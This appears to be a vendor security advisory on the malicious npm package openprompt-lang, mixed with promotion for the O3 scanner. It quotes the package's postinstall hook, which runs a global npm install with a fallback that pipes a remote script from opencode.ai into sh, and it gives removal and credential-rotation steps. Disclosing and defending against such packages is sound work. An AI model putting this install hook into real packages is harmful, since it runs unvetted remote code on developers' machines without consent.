openprompt-langnpm
openprompt-lang is a confirmed malicious npm package (MAL-2026-4630) that executes malicious code on install (malicious versions 1.1.0, 1.2.0, 1.2.1…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in openprompt-lang (npm)
What this malware does
On every npm install, openprompt-lang's postinstall hook (scripts/postinstall.js:83) executes npm install -g @opencode/cli 2>/dev/null || curl -fsSL https://opencode.ai/install.sh 2>/dev/null | sh. The fallback fetches an unpinned shell script from opencode.ai and pipes it directly to sh with no version, no hash, and no integrity check. The destination domain is not the package's publisher (the package is published under a different GitHub identity) and the auto-installed tool is unrelated to the package's stated purpose (a prompt-engineering CLI). Whatever bytes opencode.ai serves at install time run on every consumer's machine, with no user prompt or opt-out. If opencode.ai is ever compromised, redirected, or the served script is modified, every installer of openprompt-lang executes the new payload. The same line additionally performs an unsolicited global install of an unrelated third-party CLI (@opencode/cli), mutating the developer's global npm environment as a side effect of installing this library.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openprompt-lang (11 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openprompt-lang across your stack and pipelines.
If you installed it — respond
Remove openprompt-lang from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openprompt-lang was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks openprompt-lang before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks openprompt-lang-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.